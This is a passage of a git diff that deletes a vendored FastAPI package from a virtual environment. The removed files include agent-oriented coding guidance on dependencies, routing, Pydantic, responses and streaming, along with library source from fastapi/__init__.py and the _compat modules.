APIRouter, FastAPI - -app = FastAPI() -router = APIRouter(prefix="/admin") - -router.frontend("/", directory="admin-dist") -app.include_router(router) -``` - -`app.frontend()` and `router.frontend()` are low-priority routes: regular API routes are matched first, then frontend files and client-side routing fallbacks. Use this for single-page apps and built frontend assets instead of mounting `StaticFiles` manually. - -## Dependency Injection - -Use dependencies when the logic can't be declared in Pydantic validation, depends on external resources, needs cleanup with `yield`, or is shared across endpoints. - -Apply shared dependencies at the router level via `dependencies=[Depends(...)]`. - -See [the dependency injection reference](references/dependencies.md) for detailed patterns including `yield` with `scope`, and class dependencies. - -## Async vs Sync *path operations* - -Use `async` *path operations* only when fully certain that the logic called inside is compatible with async and await, and that it doesn't block. - -```python -from fastapi import FastAPI - -app = FastAPI() - - -@app.get("/async-items/") -async def read_async_items(): - data = await some_async_library.fetch_items() - return data - - -@app.get("/items/") -def read_items(): - data = some_blocking_library.fetch_items() - return data -``` - -In case of doubt, or by default, use regular `def` functions. They will be run in a threadpool so they don't block the event loop. The same rules apply to dependencies. - -Make sure blocking code is not run inside of `async` functions. The logic will work, but will damage performance heavily. - -When needing to mix blocking and async code, see Asyncer in [the other tools reference](references/other-tools.md). - -## Streaming (JSON Lines, SSE, bytes) - -To stream Server-Sent Events, use `response_class=EventSourceResponse` and `yield` items from the endpoint. - -```python -from collections.abc import AsyncIterable - -from fastapi import FastAPI -from fastapi.sse import EventSourceResponse, ServerSentEvent - -app = FastAPI() - - -@app.get("/events", response_class=EventSourceResponse) -async def stream_events() -> AsyncIterable[ServerSentEvent]: - yield ServerSentEvent(data={"status": "started"}, event="status", id="1") -``` - -Plain objects are automatically JSON-serialized as `data:` fields. Use `ServerSentEvent` for full control over SSE fields (`event`, `id`, `retry`, `comment`) and `raw_data` for pre-formatted strings. - -See [the streaming reference](references/streaming.md) for JSON Lines, Server-Sent Events (`EventSourceResponse`, `ServerSentEvent`), and byte streaming (`StreamingResponse`) patterns. - -## Tooling - -See [the other tools reference](references/other-tools.md) for details on uv, Ruff, ty for package management, linting, type checking, formatting, etc. - -## Other Libraries - -See [the other tools reference](references/other-tools.md) for details on other libraries: - -* Asyncer for handling async and await, concurrency, mixing async and blocking code, prefer it over AnyIO or asyncio. -* SQLModel for working with SQL databases, prefer it over SQLAlchemy. -* HTTPX for interacting with HTTP (other APIs), prefer it over Requests. - -## Do not use Pydantic RootModels - -Do not use Pydantic `RootModel`; instead use regular type annotations with `Annotated` and Pydantic validation utilities. - -```python -from typing import Annotated - -from fastapi import Body, FastAPI -from pydantic import Field - -app = FastAPI() - - -@app.post("/items/") -async def create_items(items: Annotated[list[int], Field(min_length=1), Body()]): - return items -``` - -FastAPI supports these type annotations and will create a Pydantic `TypeAdapter` for them, so types work normally without custom wrapper models. See [the Pydantic reference](references/pydantic.md). - -## Use one HTTP operation per function - -Don't mix HTTP operations in a single function. Having one function per HTTP operation helps separate concerns and organize the code. - -```python -from fastapi import FastAPI -from pydantic import BaseModel - -app = FastAPI() - - -class Item(BaseModel): - name: str - - -@app.get("/items/") -async def list_items(): - return [] - - -@app.post("/items/") -async def create_item(item: Item): - return item -``` - -See [the path operation reference](references/path-operations.md) for more examples. diff --git a/venv/Lib/site-packages/fastapi/.agents/skills/fastapi/references/dependencies.md b/venv/Lib/site-packages/fastapi/.agents/skills/fastapi/references/dependencies.md deleted file mode 100644 index a562dd9469851c085b4591ce748ca6689864a1d3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/.agents/skills/fastapi/references/dependencies.md +++ /dev/null @@ -1,142 +0,0 @@ -# Dependency Injection - -Use dependencies when: - -* They can't be declared in Pydantic validation and require additional logic -* The logic depends on external resources or could block in any other way -* Other dependencies need their results (it's a sub-dependency) -* The logic can be shared by multiple endpoints to do things like error early, handle authentication, etc. -* They need to handle cleanup (e.g., DB sessions, file handles), using dependencies with `yield` -* Their logic needs input data from the request, like headers, query parameters, etc. - -## Dependencies with `yield` and `scope` - -When using dependencies with `yield`, they can have a `scope` that defines when the exit code is run. - -Use the default scope `"request"` to run the exit code after the response is sent back. - -```python -from typing import Annotated - -from fastapi import Depends, FastAPI - -app = FastAPI() - - -def get_db(): - db = DBSession() - try: - yield db - finally: - db.close() - - -DBDep = Annotated[DBSession, Depends(get_db)] - - -@app.get("/items/") -async def read_items(db: DBDep): - return db.query(Item).all() -``` - -Use the scope `"function"` when they should run the exit code after the response data is generated but before the response is sent back to the client. - -```python -from typing import Annotated - -from fastapi import Depends, FastAPI - -app = FastAPI() - - -def get_username(): - try: - yield "Rick" - finally: - print("Clean up before response is sent") - -UserNameDep = Annotated[str, Depends(get_username, scope="function")] - -@app.get("/users/me") -def get_user_me(username: UserNameDep): - return username -``` - -## Class Dependencies - -Avoid creating class dependencies when possible. - -If a class is needed, instead create a regular function dependency that returns a class instance. - -Do this: - -```python -from dataclasses import dataclass -from typing import Annotated - -from fastapi import Depends, FastAPI - -app = FastAPI() - - -@dataclass -class DatabasePaginator: - offset: int = 0 - limit: int = 100 - q: str | None = None - - def get_page(self) -> dict: - # Simulate a page of data - return { - "offset": self.offset, - "limit": self.limit, - "q": self.q, - "items": [], - } - - -def get_db_paginator( - offset: int = 0, limit: int = 100, q: str | None = None -) -> DatabasePaginator: - return DatabasePaginator(offset=offset, limit=limit, q=q) - - -PaginatorDep = Annotated[DatabasePaginator, Depends(get_db_paginator)] - - -@app.get("/items/") -async def read_items(paginator: PaginatorDep): - return paginator.get_page() -``` - -instead of this: - -```python -# DO NOT DO THIS -from typing import Annotated - -from fastapi import Depends, FastAPI - -app = FastAPI() - - -class DatabasePaginator: - def __init__(self, offset: int = 0, limit: int = 100, q: str | None = None): - self.offset = offset - self.limit = limit - self.q = q - - def get_page(self) -> dict: - # Simulate a page of data - return { - "offset": self.offset, - "limit": self.limit, - "q": self.q, - "items": [], - } - - -@app.get("/items/") -async def read_items(paginator: Annotated[DatabasePaginator, Depends()]): - return paginator.get_page() -``` diff --git a/venv/Lib/site-packages/fastapi/.agents/skills/fastapi/references/other-tools.md b/venv/Lib/site-packages/fastapi/.agents/skills/fastapi/references/other-tools.md deleted file mode 100644 index b5b58cfd62e330e738b25399175f9e5c921cd09d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/.agents/skills/fastapi/references/other-tools.md +++ /dev/null @@ -1,76 +0,0 @@ -# Other Tools - -## uv - -If uv is available, use it to manage dependencies. - -## Ruff - -If Ruff is available, use it to lint and format the code. Consider enabling the FastAPI rules. - -## ty - -If ty is available, use it to check types. - -## Asyncer - -When needing to run blocking code inside of async functions, or async code inside of blocking functions, suggest using Asyncer. - -Prefer it over AnyIO or asyncio. - -Install: - -```bash -uv add asyncer -``` - -Run blocking sync code inside of async with `asyncify()`: - -```python -from asyncer import asyncify -from fastapi import FastAPI - -app = FastAPI() - - -def do_blocking_work(name: str) -> str: - # Some blocking I/O operation - return f"Hello {name}" - - -@app.get("/items/") -async def read_items(): - result = await asyncify(do_blocking_work)(name="World") - return {"message": result} -``` - -And run async code inside of blocking sync code with `syncify()`: - -```python -from asyncer import syncify -from fastapi import FastAPI - -app = FastAPI() - - -async def do_async_work(name: str) -> str: - return f"Hello {name}" - - -@app.get("/items/") -def read_items(): - result = syncify(do_async_work)(name="World") - return {"message": result} -``` - -## SQLModel for SQL databases - -When working with SQL databases, prefer using SQLModel as it is integrated with Pydantic and will allow declaring data validation with the same models. - -Prefer it over SQLAlchemy. - -## HTTPX - -Use HTTPX for handling HTTP communication (e.g. with other APIs). It supports sync and async usage. - -Prefer it over Requests. diff --git a/venv/Lib/site-packages/fastapi/.agents/skills/fastapi/references/path-operations.md b/venv/Lib/site-packages/fastapi/.agents/skills/fastapi/references/path-operations.md deleted file mode 100644 index 1292c17742536ea255813563d4757502bf209b2d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/.agents/skills/fastapi/references/path-operations.md +++ /dev/null @@ -1,93 +0,0 @@ -# Path Operations and Routing - -## Including Routers - -When declaring routers, prefer to add router-level parameters like prefix, tags, and shared dependencies to the router itself instead of in `include_router()`. - -Do this: - -```python -from fastapi import APIRouter, FastAPI - -app = FastAPI() - -router = APIRouter(prefix="/items", tags=["items"]) - - -@router.get("/") -async def list_items(): - return [] - - -app.include_router(router) -``` - -Instead of: - -```python -# DO NOT DO THIS -from fastapi import APIRouter, FastAPI - -app = FastAPI() - -router = APIRouter() - - -@router.get("/") -async def list_items(): - return [] - - -app.include_router(router, prefix="/items", tags=["items"]) -``` - -There could be exceptions, but try to follow this convention. - -Apply shared dependencies at the router level via `dependencies=[Depends(...)]`. - -## Use one HTTP operation per function - -Don't mix HTTP operations in a single function. Having one function per HTTP operation helps separate concerns and organize the code. - -Do this: - -```python -from fastapi import FastAPI -from pydantic import BaseModel - -app = FastAPI() - - -class Item(BaseModel): - name: str - - -@app.get("/items/") -async def list_items(): - return [] - - -@app.post("/items/") -async def create_item(item: Item): - return item -``` - -Instead of: - -```python -# DO NOT DO THIS -from fastapi import FastAPI, Request -from pydantic import BaseModel - -app = FastAPI() - - -class Item(BaseModel): - name: str - - -@app.api_route("/items/", methods=["GET", "POST"]) -async def handle_items(request: Request): - if request.method == "GET": - return [] -``` diff --git a/venv/Lib/site-packages/fastapi/.agents/skills/fastapi/references/pydantic.md b/venv/Lib/site-packages/fastapi/.agents/skills/fastapi/references/pydantic.md deleted file mode 100644 index fadf99c1a9d52110d2039cc03b0ab80a95875e82..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/.agents/skills/fastapi/references/pydantic.md +++ /dev/null @@ -1,93 +0,0 @@ -# Pydantic - -## Do not use Ellipsis - -Do not use `...` as a default value for required parameters or model fields. It's not needed and not recommended. - -Do this, without Ellipsis (`...`): - -```python -from typing import Annotated - -from fastapi import FastAPI, Query -from pydantic import BaseModel, Field - -app = FastAPI() - - -class Item(BaseModel): - name: str - description: str | None = None - price: float = Field(gt=0) - - -@app.post("/items/") -async def create_item(item: Item, project_id: Annotated[int, Query()]): - return item -``` - -Instead of: - -```python -# DO NOT DO THIS -from typing import Annotated - -from fastapi import FastAPI, Query -from pydantic import BaseModel, Field - -app = FastAPI() - - -class Item(BaseModel): - name: str = ... - description: str | None = None - price: float = Field(..., gt=0) - - -@app.post("/items/") -async def create_item(item: Item, project_id: Annotated[int, Query(...)]): - return item -``` - -## Do not use Pydantic RootModels - -Do not use Pydantic `RootModel`; instead use regular type annotations with `Annotated` and Pydantic validation utilities. - -For example, for a list with validations: - -```python -from typing import Annotated - -from fastapi import Body, FastAPI -from pydantic import Field - -app = FastAPI() - - -@app.post("/items/") -async def create_items(items: Annotated[list[int], Field(min_length=1), Body()]): - return items -``` - -Instead of: - -```python -# DO NOT DO THIS -from typing import Annotated - -from fastapi import FastAPI -from pydantic import Field, RootModel - -app = FastAPI() - - -class ItemList(RootModel[Annotated[list[int], Field(min_length=1)]]): - pass - - -@app.post("/items/") -async def create_items(items: ItemList): - return items -``` - -FastAPI supports these type annotations and will create a Pydantic `TypeAdapter` for them, so types work normally without custom wrapper models. diff --git a/venv/Lib/site-packages/fastapi/.agents/skills/fastapi/references/responses.md b/venv/Lib/site-packages/fastapi/.agents/skills/fastapi/references/responses.md deleted file mode 100644 index 09081236a0ac06a15cc08d1eb25b01e00f69e564..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/.agents/skills/fastapi/references/responses.md +++ /dev/null @@ -1,79 +0,0 @@ -# Responses - -## Return Type or Response Model - -When possible, include a return type. It will be used to validate, filter, document, and serialize the response. - -```python -from fastapi import FastAPI -from pydantic import BaseModel - -app = FastAPI() - - -class Item(BaseModel): - name: str - description: str | None = None - - -@app.get("/items/me") -async def get_item() -> Item: - return Item(name="Plumbus", description="All-purpose home device") -``` - -Return types or response models filter data to avoid exposing sensitive information. They also let Pydantic serialize data on the Rust side for performance. - -The return type doesn't have to be a Pydantic model. It can be a different type, like a list of integers, a dict, etc. - -## When to use `response_model` - -If the return type is not the same as the type that you want to use to validate, filter, or serialize, use the `response_model` parameter on the decorator. - -```python -from typing import Any - -from fastapi import FastAPI -from pydantic import BaseModel - -app = FastAPI() - - -class Item(BaseModel): - name: str - description: str | None = None - - -@app.get("/items/me", response_model=Item) -async def get_item() -> Any: - return {"name": "Foo", "description": "A very nice Item"} -``` - -This is particularly useful when filtering data to expose only the public fields and avoid exposing sensitive information. - -```python -from typing import Any - -from fastapi import FastAPI -from pydantic import BaseModel - -app = FastAPI() - - -class InternalItem(BaseModel): - name: str - description: str | None = None - secret_key: str - - -class Item(BaseModel): - name: str - description: str | None = None - - -@app.get("/items/me", response_model=Item) -async def get_item() -> Any: - item = InternalItem( - name="Foo", description="A very nice Item", secret_key="supersecret" - ) - return item -``` diff --git a/venv/Lib/site-packages/fastapi/.agents/skills/fastapi/references/streaming.md b/venv/Lib/site-packages/fastapi/.agents/skills/fastapi/references/streaming.md deleted file mode 100644 index 0832eedcb92b747444e4fcc406c845ed51fa21bd..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/.agents/skills/fastapi/references/streaming.md +++ /dev/null @@ -1,105 +0,0 @@ -# Streaming - -## Stream JSON Lines - -To stream JSON Lines, declare the return type and use `yield` to return the data. - -```python -@app.get("/items/stream") -async def stream_items() -> AsyncIterable[Item]: - for item in items: - yield item -``` - -## Server-Sent Events (SSE) - -To stream Server-Sent Events, use `response_class=EventSourceResponse` and `yield` items from the endpoint. - -Plain objects are automatically JSON-serialized as `data:` fields, declare the return type so the serialization is done by Pydantic: - -```python -from collections.abc import AsyncIterable - -from fastapi import FastAPI -from fastapi.sse import EventSourceResponse -from pydantic import BaseModel - -app = FastAPI() - - -class Item(BaseModel): - name: str - price: float - - -@app.get("/items/stream", response_class=EventSourceResponse) -async def stream_items() -> AsyncIterable[Item]: - yield Item(name="Plumbus", price=32.99) - yield Item(name="Portal Gun", price=999.99) -``` - -For full control over SSE fields (`event`, `id`, `retry`, `comment`), yield `ServerSentEvent` instances: - -```python -from collections.abc import AsyncIterable - -from fastapi import FastAPI -from fastapi.sse import EventSourceResponse, ServerSentEvent - -app = FastAPI() - - -@app.get("/events", response_class=EventSourceResponse) -async def stream_events() -> AsyncIterable[ServerSentEvent]: - yield ServerSentEvent(data={"status": "started"}, event="status", id="1") - yield ServerSentEvent(data={"progress": 50}, event="progress", id="2") -``` - -Use `raw_data` instead of `data` to send pre-formatted strings without JSON encoding: - -```python -yield ServerSentEvent(raw_data="plain text line", event="log") -``` - -## Stream bytes - -To stream bytes, declare a `response_class=` of `StreamingResponse` or a sub-class, and use `yield` to return the data. - -```python -from fastapi import FastAPI -from fastapi.responses import StreamingResponse -from app.utils import read_image - -app = FastAPI() - - -class PNGStreamingResponse(StreamingResponse): - media_type = "image/png" - -@app.get("/image", response_class=PNGStreamingResponse) -def stream_image_no_async_no_annotation(): - with read_image() as image_file: - yield from image_file -``` - -prefer this over returning a `StreamingResponse` directly: - -```python -# DO NOT DO THIS - -import anyio -from fastapi import FastAPI -from fastapi.responses import StreamingResponse -from app.utils import read_image - -app = FastAPI() - - -class PNGStreamingResponse(StreamingResponse): - media_type = "image/png" - - -@app.get("/") -async def main(): - return PNGStreamingResponse(read_image()) -``` diff --git a/venv/Lib/site-packages/fastapi/__init__.py b/venv/Lib/site-packages/fastapi/__init__.py deleted file mode 100644 index 1ca29aa85e498ee348e860504c5f50b117e82221..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/__init__.py +++ /dev/null @@ -1,25 +0,0 @@ -"""FastAPI framework, high performance, easy to learn, fast to code, ready for production""" - -__version__ = "0.141.1" - -from starlette import status as status - -from .applications import FastAPI as FastAPI -from .background import BackgroundTasks as BackgroundTasks -from .datastructures import UploadFile as UploadFile -from .exceptions import HTTPException as HTTPException -from .exceptions import WebSocketException as WebSocketException -from .param_functions import Body as Body -from .param_functions import Cookie as Cookie -from .param_functions import Depends as Depends -from .param_functions import File as File -from .param_functions import Form as Form -from .param_functions import Header as Header -from .param_functions import Path as Path -from .param_functions import Query as Query -from .param_functions import Security as Security -from .requests import Request as Request -from .responses import Response as Response -from .routing import APIRouter as APIRouter -from .websockets import WebSocket as WebSocket -from .websockets import WebSocketDisconnect as WebSocketDisconnect diff --git a/venv/Lib/site-packages/fastapi/__main__.py b/venv/Lib/site-packages/fastapi/__main__.py deleted file mode 100644 index fc36465f5f40701bf333de8811d76d3484f211e6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/__main__.py +++ /dev/null @@ -1,3 +0,0 @@ -from fastapi.cli import main - -main() diff --git a/venv/Lib/site-packages/fastapi/_compat/__init__.py b/venv/Lib/site-packages/fastapi/_compat/__init__.py deleted file mode 100644 index 4581c38c88ede0d70f9c40a67fbc9ee79529cffd..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/_compat/__init__.py +++ /dev/null @@ -1,40 +0,0 @@ -from .shared import PYDANTIC_VERSION_MINOR_TUPLE as PYDANTIC_VERSION_MINOR_TUPLE -from .shared import annotation_is_pydantic_v1 as annotation_is_pydantic_v1 -from .shared import field_annotation_is_scalar as field_annotation_is_scalar -from .shared import ( - field_annotation_is_scalar_sequence as field_annotation_is_scalar_sequence, -) -from .shared import field_annotation_is_sequence as field_annotation_is_sequence -from .shared import ( - is_bytes_or_nonable_bytes_annotation as is_bytes_or_nonable_bytes_annotation, -) -from .shared import is_bytes_sequence_annotation as is_bytes_sequence_annotation -from .shared import is_pydantic_v1_model_instance as is_pydantic_v1_model_instance -from .shared import ( - is_uploadfile_or_nonable_uploadfile_annotation as is_uploadfile_or_nonable_uploadfile_annotation, -) -from .shared import ( - is_uploadfile_sequence_annotation as is_uploadfile_sequence_annotation, -) -from .shared import lenient_issubclass as lenient_issubclass -from .shared import sequence_types as sequence_types -from .shared import value_is_sequence as value_is_sequence -from .v2 import ModelField as ModelField -from .v2 import PydanticSchemaGenerationError as PydanticSchemaGenerationError -from .v2 import RequiredParam as RequiredParam -from .v2 import Undefined as Undefined -from .v2 import Url as Url -from .v2 import copy_field_info as copy_field_info -from .v2 import create_body_model as create_body_model -from .v2 import evaluate_forwardref as evaluate_forwardref -from .v2 import get_cached_model_fields as get_cached_model_fields -from .v2 import get_definitions as get_definitions -from .v2 import get_flat_models_from_fields as get_flat_models_from_fields -from .v2 import get_missing_field_error as get_missing_field_error -from .v2 import get_model_name_map as get_model_name_map -from .v2 import get_schema_from_model_field as get_schema_from_model_field -from .v2 import is_scalar_field as is_scalar_field -from .v2 import serialize_sequence_value as serialize_sequence_value -from .v2 import ( - with_info_plain_validator_function as with_info_plain_validator_function, -) diff --git a/venv/Lib/site-packages/fastapi/_compat/shared.py b/venv/Lib/site-packages/fastapi/_compat/shared.py deleted file mode 100644 index 8d4720a2ed3a31531efaf3e0bc3cf4b2a3763ac5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/_compat/shared.py +++ /dev/null @@ -1,222 +0,0 @@ -import types -import typing -import warnings -from collections import deque -from collections.abc import Mapping, Sequence -from dataclasses import is_dataclass -from typing import ( - Annotated, - Any, - TypeGuard, - TypeVar, - Union, - get_args, - get_origin, -) - -from fastapi.types import UnionType -from pydantic import BaseModel -from pydantic.version import VERSION as PYDANTIC_VERSION -from starlette.datastructures import UploadFile - -_T = TypeVar("_T") - -# Copy from Pydantic: pydantic/_internal/_typing_extra.py -WithArgsTypes: tuple[Any, ...] = ( - typing._GenericAlias, # type: ignore[attr-defined] # ty: ignore[unresolved-attribute] - types.GenericAlias, - types.UnionType, -) # pyright: ignore[reportAttributeAccessIssue] - -PYDANTIC_VERSION_MINOR_TUPLE = tuple(int(x) for x in PYDANTIC_VERSION.split(".")[:2]) - - -sequence_annotation_to_type = { - Sequence: list, - list: list, - tuple: tuple, - set: set, - frozenset: frozenset, - deque: deque, -} - -sequence_types: tuple[type[Any], ...] = tuple(sequence_annotation_to_type.keys()) - - -# Copy of Pydantic: pydantic/_internal/_utils.py with added TypeGuard -def lenient_issubclass( - cls: Any, class_or_tuple: type[_T] | tuple[type[_T], ...] | None -) -> TypeGuard[type[_T]]: - try: - return isinstance(cls, type) and issubclass(cls, class_or_tuple) # type: ignore[arg-type] # ty: ignore[invalid-argument-type] - except TypeError: # pragma: no cover - if isinstance(cls, WithArgsTypes): - return False - raise # pragma: no cover - - -def _annotation_is_sequence(annotation: type[Any] | None) -> bool: - if lenient_issubclass(annotation, (str, bytes)): - return False - return lenient_issubclass(annotation, sequence_types) - - -def field_annotation_is_sequence(annotation: type[Any] | None) -> bool: - origin = get_origin(annotation) - - if origin is Annotated: - return field_annotation_is_sequence(get_args(annotation)[0]) - - if origin is Union or origin is UnionType: - for arg in get_args(annotation): - if field_annotation_is_sequence(arg): - return True - return False - return _annotation_is_sequence(annotation) or _annotation_is_sequence( - get_origin(annotation) - ) - - -def value_is_sequence(value: Any) -> bool: - return isinstance(value, sequence_types) and not isinstance(value, (str, bytes)) - - -def _annotation_is_complex(annotation: type[Any] | None) -> bool: - return ( - lenient_issubclass(annotation, (BaseModel, Mapping, UploadFile)) - or _annotation_is_sequence(annotation) - or is_dataclass(annotation) - ) - - -def field_annotation_is_complex(annotation: type[Any] | None) -> bool: - origin = get_origin(annotation) - if origin is Union or origin is UnionType: - return any(field_annotation_is_complex(arg) for arg in get_args(annotation)) - - if origin is Annotated: - return field_annotation_is_complex(get_args(annotation)[0]) - - return ( - _annotation_is_complex(annotation) - or _annotation_is_complex(origin) - or hasattr(origin, "__pydantic_core_schema__") - or hasattr(origin, "__get_pydantic_core_schema__") - ) - - -def field_annotation_is_scalar(annotation: Any) -> bool: - # handle Ellipsis here to make tuple[int, ...] work nicely - return annotation is Ellipsis or not field_annotation_is_complex(annotation) - - -def field_annotation_is_scalar_sequence(annotation: type[Any] | None) -> bool: - origin = get_origin(annotation) - - if origin is Annotated: - return field_annotation_is_scalar_sequence(get_args(annotation)[0]) - - if origin is Union or origin is UnionType: - at_least_one_scalar_sequence = False - for arg in get_args(annotation): - if field_annotation_is_scalar_sequence(arg): - at_least_one_scalar_sequence = True - continue - elif not field_annotation_is_scalar(arg): - return False - return at_least_one_scalar_sequence - return field_annotation_is_sequence(annotation) and all( - field_annotation_is_scalar(sub_annotation) - for sub_annotation in get_args(annotation) - ) - - -def is_bytes_or_nonable_bytes_annotation(annotation: Any) -> bool: - if lenient_issubclass(annotation, bytes): - return True - origin = get_origin(annotation) - if origin is Union or origin is UnionType: - for arg in get_args(annotation): - if lenient_issubclass(arg, bytes): - return True - return False - - -def is_uploadfile_or_nonable_uploadfile_annotation(annotation: Any) -> bool: - if lenient_issubclass(annotation, UploadFile): - return True - origin = get_origin(annotation) - if origin is Union or origin is UnionType: - for arg in get_args(annotation): - if lenient_issubclass(arg, UploadFile): - return True - return False - - -def is_bytes_sequence_annotation(annotation: Any) -> bool: - origin = get_origin(annotation) - if origin is Union or origin is UnionType: - at_least_one = False - for arg in get_args(annotation): - if is_bytes_sequence_annotation(arg): - at_least_one = True - continue - return at_least_one - return field_annotation_is_sequence(annotation) and all( - is_bytes_or_nonable_bytes_annotation(sub_annotation) - for sub_annotation in get_args(annotation) - ) - - -def is_uploadfile_sequence_annotation(annotation: Any) -> bool: - origin = get_origin(annotation) - if origin is Union or origin is UnionType: - at_least_one = False - for arg in get_args(annotation): - if is_uploadfile_sequence_annotation(arg): - at_least_one = True - continue - return at_least_one - return field_annotation_is_sequence(annotation) and all( - is_uploadfile_or_nonable_uploadfile_annotation(sub_annotation) - for sub_annotation in get_args(annotation) - ) - - -def is_pydantic_v1_model_instance(obj: Any) -> bool: - # TODO: remove this function once the required version of Pydantic fully - # removes pydantic.v1 - try: - with warnings.catch_warnings(): - warnings.simplefilter("ignore", UserWarning) - from pydantic import v1 - except ImportError: # pragma: no cover - return False - return isinstance(obj, v1.BaseModel) - - -def is_pydantic_v1_model_class(cls: Any) -> bool: - # TODO: remove this function once the required version of Pydantic fully - # removes pydantic.v1 - try: - with warnings.catch_warnings(): - warnings.simplefilter("ignore", UserWarning) - from pydantic import v1 - except ImportError: # pragma: no cover - return False - return lenient_issubclass(cls, v1.BaseModel) - - -def annotation_is_pydantic_v1(annotation: Any) -> bool: - if is_pydantic_v1_model_class(annotation): - return True - origin = get_origin(annotation) - if origin is Union or origin is UnionType: - for arg in get_args(annotation): - if is_pydantic_v1_model_class(arg): - return True - if field_annotation_is_sequence(annotation): - for sub_annotation in get_args(annotation): - if annotation_is_pydantic_v1(sub_annotation): - return True - return False diff --git a/venv/Lib/site-packages/fastapi/_compat/v2.py b/venv/Lib/site-packages/fastapi/_compat/v2.py deleted file mode 100644 index 7be686d8655a9e7720ff0d751f82283cac20db98..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/_compat/v2.py +++ /dev/null @@ -1,493 +0,0 @@ -import re -import warnings -from collections.abc import Sequence -from copy import copy -from dataclasses import dataclass, is_dataclass -from enum import Enum -from functools import lru_cache -from typing import ( - Annotated, - Any, - Literal, - Union, - cast, - get_args, - get_origin, -) - -from fastapi._compat import lenient_issubclass, shared -from fastapi.openapi.constants import REF_TEMPLATE -from fastapi.types import IncEx, ModelNameMap, UnionType -from pydantic import BaseModel, ConfigDict, Field, TypeAdapter, create_model -from pydantic import PydanticSchemaGenerationError as PydanticSchemaGenerationError -from pydantic import PydanticUndefinedAnnotation as PydanticUndefinedAnnotation -from pydantic import ValidationError as ValidationError -from pydantic._internal import _typing_extra as _pydantic_typing_extra -from pydantic._internal._schema_generation_shared import ( # type: ignore[attr-defined] - GetJsonSchemaHandler as GetJsonSchemaHandler, -) -from pydantic.fields import FieldInfo as FieldInfo -from pydantic.json_schema import GenerateJsonSchema as _GenerateJsonSchema -from pydantic.json_schema import JsonSchemaValue as JsonSchemaValue -from pydantic_core import CoreSchema as CoreSchema -from pydantic_core import PydanticUndefined -from pydantic_core import Url as Url -from pydantic_core.core_schema import ( - with_info_plain_validator_function as with_info_plain_validator_function, -) - -RequiredParam = PydanticUndefined -Undefined = PydanticUndefined - - -def evaluate_forwardref( - value: Any, - globalns: dict[str, Any] | None = None, - localns: dict[str, Any] | None = None, -) -> Any: - # eval_type_lenient has been deprecated since Pydantic v2.10.0b1 (PR #10530) - try_eval_type = getattr(_pydantic_typing_extra, "try_eval_type", None) - if try_eval_type is not None: - return try_eval_type(value, globalns, localns)[0] - return _pydantic_typing_extra.eval_type_lenient( # ty: ignore[deprecated] - value, globalns, localns - ) - - -class GenerateJsonSchema(_GenerateJsonSchema): - # TODO: remove when this is merged (or equivalent): https://github.com/pydantic/pydantic/pull/12841 - # and dropping support for any version of Pydantic before that one (so, in a very long time) - def bytes_schema(self, schema: CoreSchema) -> JsonSchemaValue: - json_schema = {"type": "string", "contentMediaType": "application/octet-stream"} - bytes_mode = ( - self._config.ser_json_bytes - if self.mode == "serialization" - else self._config.val_json_bytes - ) - if bytes_mode == "base64": - json_schema["contentEncoding"] = "base64" - self.update_with_validations(json_schema, schema, self.ValidationsMapping.bytes) - return json_schema - - -# TODO: remove when dropping support for Pydantic < v2.12.3 -_Attrs = { - "default": ..., - "default_factory": None, - "alias": None, - "alias_priority": None, - "validation_alias": None, - "serialization_alias": None, - "title": None, - "field_title_generator": None, - "description": None, - "examples": None, - "exclude": None, - "exclude_if": None, - "discriminator": None, - "deprecated": None, - "json_schema_extra": None, - "frozen": None, - "validate_default": None, - "repr": True, - "init": None, - "init_var": None, - "kw_only": None, -} - - -# TODO: remove when dropping support for Pydantic < v2.12.3 -def asdict(field_info: FieldInfo) -> dict[str, Any]: - attributes = {} - for attr in _Attrs: - value = getattr(field_info, attr, Undefined) - if value is not Undefined: - attributes[attr] = value - return { - "annotation": field_info.annotation, - "metadata": field_info.metadata, - "attributes": attributes, - } - - -@dataclass -class ModelField: - field_info: FieldInfo - name: str - mode: Literal["validation", "serialization"] = "validation" - config: ConfigDict | None = None - - @property - def alias(self) -> str: - a = self.field_info.alias - return a if a is not None else self.name - - @property - def validation_alias(self) -> str | None: - va = self.field_info.validation_alias - if isinstance(va, str) and va: - return va - return None - - @property - def serialization_alias(self) -> str | None: - sa = self.field_info.serialization_alias - return sa or None - - @property - def default(self) -> Any: - return self.get_default() - - def __post_init__(self) -> None: - with warnings.catch_warnings(): - # Pydantic >= 2.12.0 warns about field specific metadata that is unused - # (e.g. `TypeAdapter(Annotated[int, Field(alias='b')])`). In some cases, we - # end up building the type adapter from a model field annotation so we - # need to ignore the warning: - if shared.PYDANTIC_VERSION_MINOR_TUPLE >= (2, 12): - from pydantic.warnings import UnsupportedFieldAttributeWarning - - warnings.simplefilter( - "ignore", category=UnsupportedFieldAttributeWarning - ) - # TODO: remove after setting the min Pydantic to v2.12.3 - # that adds asdict(), and use self.field_info.asdict() instead - field_dict = asdict(self.field_info) - annotated_args = ( - field_dict["annotation"], - *field_dict["metadata"], - # this FieldInfo needs to be created again so that it doesn't include - # the old field info metadata and only the rest of the attributes - Field(**field_dict["attributes"]), - ) - self._type_adapter: TypeAdapter[Any] = TypeAdapter( - Annotated[annotated_args], # ty: ignore[invalid-type-form] - config=self.config, - ) - - def get_default(self) -> Any: - if self.field_info.is_required(): - return Undefined - return self.field_info.get_default(call_default_factory=True) - - def validate( - self, - value: Any, - values: dict[str, Any] = {}, # noqa: B006 - *, - loc: tuple[int | str, ...] = (), - ) -> tuple[Any, list[dict[str, Any]]]: - try: - return ( - self._type_adapter.validate_python(value, from_attributes=True), - [], - ) - except ValidationError as exc: - return None, _regenerate_error_with_loc( - errors=exc.errors(include_url=False), loc_prefix=loc - ) - - def serialize( - self, - value: Any, - *, - mode: Literal["json", "python"] = "json", - include: IncEx | None = None, - exclude: IncEx | None = None, - by_alias: bool = True, - exclude_unset: bool = False, - 